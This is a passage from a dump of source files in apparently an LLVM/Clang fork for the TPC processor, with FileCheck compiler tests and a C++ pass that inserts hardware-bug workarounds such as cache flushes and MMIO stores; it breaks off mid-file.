av_i8_mac_v_s_vb(x0, xs, res, 1, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n // Vector + Immediate\n\n res = av_i8_mac_v_s(x0, 123, res, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = av_i8_mac_v_s(x0, 123, res, 1);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = av_i8_mac_v_s_b(x0, 123, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n\n res = av_i8_mac_v_s_b(x0, 123, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%SP{{[0-9]+}}\n\n res = av_i8_mac_v_s_vb(x0, 123, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = av_i8_mac_v_s_vb(x0, 123, res, 1, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%VP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.4990476071834564, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 31.8125, "blob_id": "56e5509f496c0554c7e980297904858e9eae33a7", "content_id": "ec489c65d06e6062c24627c3a0a3cb50c56aa59b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 525, "license_type": "permissive", "max_line_length": 131, "num_lines": 16, "path": "/clang/test/RC99/IntrinsicsM/and/i_i32_and_i_i.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main()\n{\n \n int5 indx0 = {0,0,0,0,0};\n int5 indx1 = {0,0,0,0,0};\n int5 res0 = 0; \n\n res0 = i_i32_and_i_i(indx0, indx1, res0, 1);\n float64 temp0 = 0;\n f32_st_tnsr_i_v(res0, 1, temp0);\n}\n//CHECK-ASM: .globl main\n//CHECK-ASM-DAG: and.i32 b00001 %I2, 0x0, %I2, %SP0\n" }, { "alpha_fraction": 0.41366907954216003, "alphanum_fraction": 0.5059952139854431, "avg_line_length": 23.18115997314453, "blob_id": "8c0284d684dd2e9f334305bf68b080205bd20671", "content_id": "62b298a6514f79c8f2099ae3187bf130ef9de33a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3336, "license_type": "permissive", "max_line_length": 97, "num_lines": 138, "path": "/clang/test/RC99/Intrinsics/ld_g.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu goya %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck %s\n\n\n\nvoid main(unsigned dest, tensor out) {\nint5 indx = { 0, 0, 0, 0, 0 };\nint __global *addr = gen_addr(indx, out, 0, 0, 1, 0);\n\n// Scalar intrinsics.\n{\n\tfloat inc0 = 0;\n \tfloat __local *dptr = (float __local *)dest;\n\tfloat res0 = s_f32_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %S{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n{\n\tint inc0 = 0;\n \tint __local *dptr = (int __local *)dest;\n\tint res0 = s_i32_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %S{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n{\n\tunsigned int inc0 = 0;\n \tunsigned int __local *dptr = (unsigned int __local *)dest;\n\tunsigned int res0 = s_u32_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %S{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n{\n\tshort inc0 = 0;\n \tshort __local *dptr = (short __local *)dest;\n\tshort res0 = s_i16_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %S{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n{\n\tunsigned short inc0 = 0;\n \tunsigned short __local *dptr = (unsigned short __local *)dest;\n\tunsigned short res0 = s_u16_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %S{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n{\n\tchar inc0 = 0;\n \tchar __local *dptr = (char __local *)dest;\n\tchar res0 = s_i8_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %S{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n{\n\tunsigned char inc0 = 0;\n \tunsigned char __local *dptr = (unsigned char __local *)dest;\n\tunsigned char res0 = s_u8_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %S{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n// Vector intrinsics\n{\n\tfloat64 inc0 = 0;\n \tfloat64 __local *dptr = (float64 __local *)dest;\n\tfloat64 res0 = v_f32_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %V{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n{\n\tint64 inc0 = 0;\n \tint64 __local *dptr = (int64 __local *)dest;\n\tint64 res0 = v_i32_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %V{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n{\n\tuint64 inc0 = 0;\n \tuint64 __local *dptr = (uint64 __local *)dest;\n\tuint64 res0 = v_u32_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %V{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n{\n\tshort128 inc0 = 0;\n \tshort128 __local *dptr = (short128 __local *)dest;\n\tshort128 res0 = v_i16_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %V{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n{\n\tushort128 inc0 = 0;\n \tushort128 __local *dptr = (ushort128 __local *)dest;\n\tushort128 res0 = v_u16_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %V{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n{\n\tchar256 inc0 = 0;\n \tchar256 __local *dptr = (char256 __local *)dest;\n\tchar256 res0 = v_i8_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %V{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n{\n\tuchar256 inc0 = 0;\n \tuchar256 __local *dptr = (uchar256 __local *)dest;\n\tuchar256 res0 = v_u8_ld_g(addr, 0, inc0, 0, 1);\n \t*dptr++ = res0;\n // CHECK-DAG: ld_g %V{{[0-9]+}}, %AD{{[0-9]+}}, %SP{{[0-9]+}}\n\n}\n\n}" }, { "alpha_fraction": 0.5862069129943848, "alphanum_fraction": 0.634482741355896, "avg_line_length": 23.16666603088379, "blob_id": "abd9ebbc5d74ffc92597e5eb3339dee8c96668fc", "content_id": "f014ffe888f3333b974aca14de486dcfd2511e48", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 145, "license_type": "permissive", "max_line_length": 46, "num_lines": 6, "path": "/clang/test/RC99/utils/gen_err-11.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\nint func_01(bool);\n\n// CHECK: line 3 error: missing parameter name\n// CHECK: > int func_01(bool);\n" }, { "alpha_fraction": 0.6030429005622864, "alphanum_fraction": 0.680497944355011, "avg_line_length": 47.20000076293945, "blob_id": "e530e626ba3cbf8ee592c3fa700e8e316b84a2a7", "content_id": "2ee4ef22155e3642df6e056df385d572e0612b47", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 723, "license_type": "permissive", "max_line_length": 305, "num_lines": 15, "path": "/clang/test/RC99/driver/lut-warn/dali/lut-warn-overflow-256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang %s -S 2>&1 | FileCheck %s\n// XFAIL: *\nvoid main(int x0, int x3, int dest0)\n{\n\n uint64 __local *ptr_x0 = (uint64 __local *)x0;\n\n float64 __local *res0 = (float64 __local *)dest0;\n float64 temp_res0 = 0;\n temp_res0 = v_f32_lookup_c0_v_b(*ptr_x0, temp_res0, 1, e_fp32_tanh, x3, 0);\n temp_res0 = v_f32_lookup_c0_v_b(*ptr_x0, temp_res0, 1, e_fp32_rsqrt, x3, 0);\n *res0 = temp_res0;\n}\n\n//CHECK: Performance warning: number of requested special function IDs exceeds LUT cache capacity for the Goya architecture, this will cause LUT misses. The cache can hold 1 special function with 256 intervals or 2 special functions, each with 128 intervals or 4 special functions, each with 64 intervals.\n" }, { "alpha_fraction": 0.5385564565658569, "alphanum_fraction": 0.6458975672721863, "avg_line_length": 24.73015785217285, "blob_id": "47fe3d86097e35d85655a31a0cce5b20683d78fe", "content_id": "f3119fc57ab884ef52d7658a3473c95b4654b98d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1621, "license_type": "permissive", "max_line_length": 108, "num_lines": 63, "path": "/clang/test/RC99/CodeGen/vars.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -disable-llvm-passes %s -o - | FileCheck %s\n\nchar var_char = 'a';\nshort var_short = 12;\nint var_int = 44;\nfloat var_float = 123.456;\n\n// CHECK: @var_char = addrspace(1)\n// CHECK: @var_short = addrspace(1)\n// CHECK: @var_int = addrspace(1)\n// CHECK: @var_float = addrspace(1)\n\nbool256 var_bool256 = 0;\nchar256 var_char256 = 1;\nuchar256 var_uchar256 = 3;\nshort128 var_short128 = -1;\nushort128 var_ushort128 = 5;\nint64 var_int64 = 66;\nuint64 var_uint64 = 77;\nfloat64 var_float64 = 0.5;\n\n// CHECK: @var_bool256 = addrspace(2)\n// CHECK: @var_char256 = addrspace(2)\n// CHECK: @var_uchar256 = addrspace(2)\n// CHECK: @var_short128 = addrspace(2)\n// CHECK: @var_ushort128 = addrspace(2)\n// CHECK: @var_int64 = addrspace(2)\n// CHECK: @var_uint64 = addrspace(2)\n// CHECK: @var_float64 = addrspace(2)\n\nint256 var_int256 = { 0 };\nuint256 var_uint256 = { 10 };\n// CHECK: @var_int256 = addrspace(2)\n// CHECK: @var_uint256 = addrspace(2)\n\nuint8_t_pair_t var_uint8_t_pair_t = { 1, 1 };\n// CHECK: @var_uint8_t_pair_t = addrspace(1)\n\nuchar256_pair_t var_uchar256_pair_t = { 0, 0 };\n// CHECK: @var_uchar256_pair_t = addrspace(2)\n\nchar *var_char_ptr = 0;\nchar __local *var_char_lptr = 0;\n// CHECK: @var_char_ptr = addrspace(1)\n// CHECK: @var_char_lptr = addrspace(1)\n\nchar *var_char256_ptr = 0;\nchar __local *var_char256_lptr = 0;\n// CHECK: @var_char256_ptr = addrspace(1)\n// CHECK: @var_char256_lptr = addrspace(1)\n\n\n\nchar var_char_a[12];\n// CHECK: @var_char_a = {{.*}} addrspace(1)\n\nchar256 var_char256_a[4];\n// CHECK: @var_char256_a = {{.*}} addrspace(2)\n\n\n\nvoid main() {\n}\n" }, { "alpha_fraction": 0.5870237350463867, "alphanum_fraction": 0.6004498600959778, "avg_line_length": 36.24083709716797, "blob_id": "87fbe777969ade0f771433186e3ed8e6d803267f", "content_id": "78e9806aa898628cc887d65c10bde2904ea99a55", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 14230, "license_type": "permissive", "max_line_length": 143, "num_lines": 382, "path": "/llvm/lib/Target/TPC/TPCHwWa.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCHwWa.cpp - TPC pre-RA Hardware Workarounds -===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCTargetMachine.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n\n#include <vector>\n\n#define DEBUG_TYPE \"hwwa\"\n\nusing namespace llvm;\nusing namespace std;\n\nnamespace llvm {\nFunctionPass *createTPCPreRAHwWorkarounds();\nvoid initializeTPCPreRAHwWorkaroundsPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC pre-RA Hardware Workarounds\";\nstatic const char PassName[] = \"tpc-pre-ra-hwwa\";\n\nstatic cl::opt<bool>\nEnableTPCPreRAHwWorkarounds(\"tpc-enable-aso-workarounds\",\n cl::desc(PassDescription),\n cl::init(true), cl::Hidden);\n\n//\n// 0 - Use default (enable both WA for Gaudi)\n// 1 - Disable/Enable SB$ after ASO instruction\n// 2 - Issue a CACHE_FLUSH instruction prior to ASO\n// 3 - both, 1 and 2\n// 4 - Turn off the workarounds\n//\nstatic cl::opt<unsigned>\nTPC_ASO_WAOpt(\"tpc-aso-workarounds\",\n cl::desc(\"Disable/Enable ASO workarounds: \"\n\t \"0 - default, 1 - Disable/Enable SB$ after ASO instruction; \"\n\t\t \"2 - Issue a CACHE_FLUSH instruction prior to ASO; \"\n\t\t \"3 - both, 1 and 2; 4 - Turn off\"),\n cl::init(0), cl::Hidden);\n\nstatic cl::opt<bool>\nTPCCFlushAfterCInvalidateWA(\"tpc-cache-flush-after-invalidate\",\n cl::desc(\"Insert CACHE_FLUSH after CACHE_INVALIDATE\"),\n cl::init(false), cl::Hidden);\n\nstatic cl::opt<bool>\nTPCDisableCFlushAfterCInvalidateWA(\"tpc-disable-cache-flush-after-invalidate\",\n cl::desc(\"Do not insert CACHE_FLUSH after CACHE_INVALIDATE\"),\n cl::init(false), cl::Hidden);\n\nstatic cl::opt<bool>\n GCValidation(\"tpc-mmio-validation\", cl::desc(\"Inject mmio WA validation point\"), cl::init(false),cl::Hidden);\n\nnamespace {\nclass TPCPreRAHwWorkarounds : public MachineFunctionPass {\n MachineFunction *MF;\n MachineRegisterInfo *MRI;\n const TargetRegisterInfo *TRI;\n const TargetInstrInfo *TII;\n\npublic:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCPreRAHwWorkarounds() : MachineFunctionPass(ID) {\n\t initializeTPCPreRAHwWorkaroundsPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n\nprivate:\n bool handleMMIOFence(MachineFunction &MF, vector<MachineInstr*> MMIOSeen, MachineInstr *firstMI, MachineInstr *haltMI);\n};\n}\n\nchar TPCPreRAHwWorkarounds::ID = 0;\n\nINITIALIZE_PASS(TPCPreRAHwWorkarounds, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCPreRAHwWorkarounds() {\n return new TPCPreRAHwWorkarounds();\n}\n\n\nbool TPCPreRAHwWorkarounds::runOnMachineFunction(MachineFunction &Func) {\n if (skipFunction(Func.getFunction()))\n return false;\n\n if (!EnableTPCPreRAHwWorkarounds)\n return false;\n\n bool needASO_WA1 = false;\n bool needASO_WA2 = false;\n bool needCacheFlAfterCacheInv_WA = false;\n bool needMMIOFence = false;\n \n if (TPC_ASO_WAOpt == 0) { // defaults\n if (Func.getSubtarget<TPCSubtarget>().hasGaudiISA()) {\n needASO_WA1 = true;\n } else if (Func.getSubtarget<TPCSubtarget>().hasGoyaISA()) {\n needASO_WA2 = true;\n }\n }\n else {\n needASO_WA1 = (TPC_ASO_WAOpt & 1) != 0;\n needASO_WA2 = (TPC_ASO_WAOpt & 2) != 0;\n }\n\n if (Func.getSubtarget<TPCSubtarget>().hasGaudiISA()) {\n needCacheFlAfterCacheInv_WA = !TPCDisableCFlushAfterCInvalidateWA;\n } else {\n needCacheFlAfterCacheInv_WA = TPCCFlushAfterCInvalidateWA;\n }\n\n if (!needASO_WA1 && !needASO_WA2 && !needCacheFlAfterCacheInv_WA && !needMMIOFence)\n return false;\n\n MF = &Func;\n MRI = &MF->getRegInfo();\n TII = MF->getSubtarget().getInstrInfo();\n TRI = MF->getSubtarget().getRegisterInfo();\n\n // Bug LLVM-198:\n // ------------\n // 1) There is a new SB$ contains 4 elements on Gadui.\n //\n // 2) The bug: $ invalid was no issued after vector store evicted\n // and ASO instruction was shown. \n //\n // 3) There is no $ invalid instruction for the SB. \n //\n // 4) Workaround: After the compiler sees ASO instruction.\n // The compiler injects \"ST_L MMIO 0X99c, 1\" to cause SB$\n // to disable himself and unset (\"ST_L MMIO 0X99c, 0\")\n // before the HALT( end of the program)\n //\n // The compiler will insert the following code at the beginning\n // of 'main' function^\n // int val = s_i32_ld_l_s(0x99C, e_access_mmio);\n // i32_st_l_s_s(0x99C, val | 0b1, e_access_mmio);\n //\n // and at the end, before HALT instruction:\n // i32_st_l_s_s(0x99C, val, e_access_mmio);\n //\n // Bug LLVM-156:\n // ------------\n // Problem: ASO doesn't flushD$ in case aso_op equals to VPU\n // Implication: Scalars produced by the core won't be globally\n // observed after ASO\n // Workaround: Issue a CACHE_FLUSH instruction prior to ASO\n //\n bool Changed = false;\n bool ASOSeen = false;\n vector<MachineInstr*> MMIOSeen;\n MachineInstr *firstMI = nullptr;\n MachineInstr *haltMI = nullptr;\n for (MachineFunction::iterator I = MF->begin(), E = MF->end(); I != E; ++I) {\n MachineBasicBlock * MBB = &*I;\n for (MachineBasicBlock::iterator mi = MBB->begin(), me = MBB->end(); mi != me; ) {\n MachineBasicBlock::iterator next_mi = std::next(mi);\n MachineInstr *MI = &*mi;\n unsigned opc = MI->getOpcode();\n if (!firstMI) {\n firstMI = MI;\n }\n if (needMMIOFence && TPCInstrInfo::isMMIOAccess(*MI)) {\n LLVM_DEBUG(dbgs() << \" mmio seen: \" << *MI);\n MMIOSeen.push_back(MI);\n }\n if (opc == TPC::ASO) {\n ASOSeen = true;\n if (needASO_WA2) {\n BuildMI(*(MI->getParent()), mi, DebugLoc(), TII->get(TPC::CACHE_FLUSH))\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n mi = next_mi;\n Changed = true;\n continue;\n }\n }\n if (opc == TPC::CACHE_INVALIDATE) {\n if (needCacheFlAfterCacheInv_WA) {\n BuildMI(*(MI->getParent()), next_mi, DebugLoc(), TII->get(TPC::CACHE_FLUSH))\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n mi = next_mi;\n Changed = true;\n continue;\n }\n }\n if (opc == TPC::HALTs || opc == TPC::HALTv) {\n haltMI = MI;\n }\n mi++;\n }\n }\n\n if (ASOSeen && needASO_WA1) {\n assert(firstMI);\n assert(haltMI);\n MachineInstrBuilder MIB;\n MachineBasicBlock::iterator It = firstMI;\n MachineBasicBlock::iterator ItLast = haltMI;\n\n // ld_l mmio %S0, 0x99c, %SP0\n unsigned s_reg = MRI->createVirtualRegister(&TPC::SRFRegClass);\n MIB = BuildMI(*(firstMI->getParent()), It, DebugLoc(), TII->get(TPC::LD_Lsip), s_reg);\n MIB.addImm(0x99C); // MMIO address\n MIB.addImm(TPCII::SW_MMIO); // MMIO switch\n MIB.addReg(s_reg, RegState::Undef); // income\n MIB.addReg(TPC::SP0); // Pred\n MIB.addImm(0); // Polarity\n if (needMMIOFence)\n MMIOSeen.push_back(MIB.getInstr());\n\n // or.i32 %S2, %S0, 0x1, %SP0\n unsigned s_reg1 = MRI->createVirtualRegister(&TPC::SRFRegClass);\n MIB = BuildMI(*(firstMI->getParent()), It, DebugLoc(), TII->get(TPC::ORsip), s_reg1);\n MIB.addReg(s_reg); // Value\n MIB.addImm(1); // Value2\n MIB.addImm(TPCII::OpType::INT32); // Data type\n MIB.addImm(0); // Switch\n MIB.addReg(s_reg1, RegState::Undef); // income\n MIB.addReg(TPC::SP0); // Pred\n MIB.addImm(0); // Polarity\n\n // st_l mmio 0x99c, %S2, %SP0\n MIB = BuildMI(*(firstMI->getParent()), It, DebugLoc(), TII->get(TPC::ST_Lisp));\n MIB.addImm(0x99C); // MMIO address\n MIB.addReg(s_reg1); // Value\n MIB.addImm(TPCII::SW_MMIO); // MMIO switch\n MIB.addReg(TPC::SP0); // Pred\n MIB.addImm(0); // Polarity\n if (needMMIOFence)\n MMIOSeen.push_back(MIB.getInstr());\n\n // Before HALT instruction:\n // st_l mmio 0x99c, %S0, %SP0\n MIB = BuildMI(*(haltMI->getParent()), ItLast, DebugLoc(), TII->get(TPC::ST_Lisp));\n MIB.addImm(0x99C); // MMIO address\n MIB.addReg(s_reg); // Value\n MIB.addImm(TPCII::SW_MMIO); // MMIO switch\n MIB.addReg(TPC::SP0); // Pred\n MIB.addImm(0); // Polarity\n if (needMMIOFence)\n MMIOSeen.push_back(MIB.getInstr());\n\n Changed = true;\n }\n\n Changed |= handleMMIOFence(Func, MMIOSeen, firstMI, haltMI);\n\n return Changed;\n}\n\n/*\nThere is a new hardware bug when working with two instants of kernels one by the other.\nThe bug happens when both QMAN and kernel try to write/read to/from configuration space.\nWhen this happens, the kernel writing is overriding the QMAN writing.\n\nTo overcome the above is expected from the compiler to do as follow:\nIf exist MMIO access, the compiler shall inject an “st_l.mmio %S31,$SXX” to the last execute MMIO instruction (ld_l or st_l).\nThe $SXX value shall be set to one while Synapse will be responsible for setting $S31 correctly.\n\nBe aware of the problem with loops. MMIO instruction can be executed more than once,\nand so the location of the st_l shall be in the exit of all loops.\n*/\nbool TPCPreRAHwWorkarounds::handleMMIOFence(MachineFunction &MF, vector<MachineInstr*> MMIOSeen, MachineInstr *firstMI, MachineInstr *haltMI) {\n if (MMIOSeen.size() == 0)\n return false;\n\n //unsigned FenceAddr = MF.addLiveIn(TPC::S31, &TPC::SRFRegClass);\n //firstMI->getParent()->addLiveIn(TPC::S31);\n //BuildMI(*(firstMI->getParent()), firstMI, DebugLoc(), TII->get(TargetOpcode::COPY), FenceAddr).addReg(TPC::S31);\n unsigned FenceAddr = MRI->createVirtualRegister(&TPC::SRFRegClass);\n // unsigned s_reg = MRI->createVirtualRegister(&TPC::SRFRegClass);\n MachineInstrBuilder MIB =\n BuildMI(*(firstMI->getParent()), firstMI, DebugLoc(),\n TII->get(TPC::LD_Lsip), FenceAddr);\n MIB.addImm(0x440); // MMIO address\n MIB.addImm(TPCII::SW_MMIO); // MMIO switch\n MIB.addReg(FenceAddr, RegState::Undef); // income\n MIB.addReg(TPC::SP0); // Pred\n MIB.addImm(0); // Polarity\n\n // create an interrupt if GC doesn't work well with semaphore\n if(GCValidation) {\n unsigned FenceActualAddr = MRI->createVirtualRegister(&TPC::SRFRegClass);\n\n MachineInstrBuilder MIBAdd =\n BuildMI(*(firstMI->getParent()), firstMI, DebugLoc(),\n TII->get(TPC::ADDsip), FenceActualAddr)\n .addReg(FenceAddr) // src1\n .addImm(0x50) // Address\n .addImm(TPCII::OpType::INT32) // Type\n .addImm(0) // switch\n .addReg(FenceAddr, RegState::Undef) // income\n .addReg(TPC::SP0) // predicate\n .addImm(0); // Polarity\n\n unsigned MOVRefernce = MRI->createVirtualRegister(&TPC::SRFRegClass);\n MachineInstrBuilder MIBLoad =\n BuildMI(*(firstMI->getParent()), firstMI, DebugLoc(),\n TII->get(TPC::LD_Lssp), MOVRefernce);\n MIBLoad.addReg(FenceActualAddr);\n MIBLoad.addImm(TPCII::SW_MMIO); // MMIO switch\n MIBLoad.addReg(MOVRefernce, RegState::Undef); // income\n MIBLoad.addReg(TPC::SP0); // Pred\n MIBLoad.addImm(0); // Polarity\n\n unsigned CMP = MRI->createVirtualRegister(&TPC::SPRFRegClass);\n MachineInstrBuilder MIBCmp =\n BuildMI(*(firstMI->getParent()), firstMI, DebugLoc(),\n TII->get(TPC::CMP_NEQsip), CMP);\n MIBCmp.addReg(MOVRefernce); // Register (reference value)\n MIBCmp.addImm(0); // Compare value\n MIBCmp.addImm(TPCII::OpType::INT32); // Type\n MIBCmp.addImm(0); // Switch\n MIBCmp.addReg(CMP, RegState::Undef); // income\n MIBCmp.addReg(TPC::SP0); // Pred\n MIBCmp.addImm(0); // Polarity\n\n unsigned s_reg1 = MRI->createVirtualRegister(&TPC::SRFRegClass);\n BuildMI(*(firstMI->getParent()), firstMI, DebugLoc(), TII->get(TPC::MOVsip),\n s_reg1)\n .addImm(2048) // invalidate location\n .addImm(TPCII::OpType::INT32) // type\n .addImm(0) // switch\n .addReg(s_reg1, RegState::Undef) // income\n .addReg(CMP) // Pred\n .addImm(0); // Polarity\n\n BuildMI(*(firstMI->getParent()), firstMI, DebugLoc(),\n TII->get(TPC::ST_Lssp))\n .addReg(s_reg1) // MMIO address\n .addReg(s_reg1) // Value\n .addImm(0) // MMIO switch\n .addReg(CMP) // Pred\n .addImm(0); // Polarity\n }\n\n // TODO find more accurate postdominator over all exit paths\n // Now before HALT instruction:\n MachineBasicBlock::iterator ItLast = haltMI;\n MachineBasicBlock *MBB = haltMI->getParent();\n // mov.i32 %S0, 1, %SP0\n unsigned s_reg = MRI->createVirtualRegister(&TPC::SRFRegClass);\n BuildMI(*MBB, ItLast, DebugLoc(), TII->get(TPC::MOVsip), s_reg)\n .addImm(1) // value\n .addImm(TPCII::OpType::INT32)\n .addImm(0) // switch\n .addReg(s_reg, RegState::Undef) // income\n .addReg(TPC::SP0) // Pred\n .addImm(0); // Polarity\n\n // st_l mmio S31, %S0, %SP0\n BuildMI(*MBB, ItLast, DebugLoc(), TII->get(TPC::ST_Lssp))\n .addReg(FenceAddr) // MMIO address\n .addReg(s_reg) // Value\n .addImm(TPCII::SW_MMIO) // MMIO switch\n .addReg(TPC::SP0) // Pred\n .addImm(0); // Polarity\n\n return true;\n}\n" }, { "alpha_fraction": 0.6410256624221802, "alphanum_fraction": 0.6849817037582397, "avg_line_length": 67.25, "blob_id": "14a1f81fb229750e874406f6039f9327f8968197", "content_id": "56c99cd505129078f8273053bfe4157b3c41c9cc", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 273, "license_type": "permissive", "max_line_length": 117, "num_lines": 4, "path": "/clang/test/RC99/main/main-16.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -emit-llvm -O1 -main-function main_entry %s -o - | FileCheck %s\nvoid main_entry(int arg0, tensor ifm, tensor ofm, int dest, tensor t1) {\n}\n// CHECK: define void @main_entry(i32 %arg0, i32 %dest) local_unnamed_addr #0 {\n" }, { "alpha_fraction": 0.5989788770675659, "alphanum_fraction": 0.605689287185669, "avg_line_length": 32.115943908691406, "blob_id": "667beca2789a322b493aa96bb7cfb2b5b79e2bdf", "content_id": "d4fdb639e1c465b63dc5c055cbbe0cc9965e7a25", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6855, "license_type": "permissive", "max_line_length": 80, "num_lines": 207, "path": "/llvm/lib/Target/TPC/TPCIndexSpace.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCIndexSpace.cpp --- TPC INDEX SPACE ------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCIndexSpace.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n\nchar TPCIndexMap::ID = 0;\nINITIALIZE_PASS_BEGIN(TPCIndexMap, PassName, PassDescription, false, false)\nINITIALIZE_PASS_END(TPCIndexMap, PassName, PassDescription, false, false)\nFunctionPass *llvm::createTPCIndexMap() { return new TPCIndexMap(); }\n\nclass 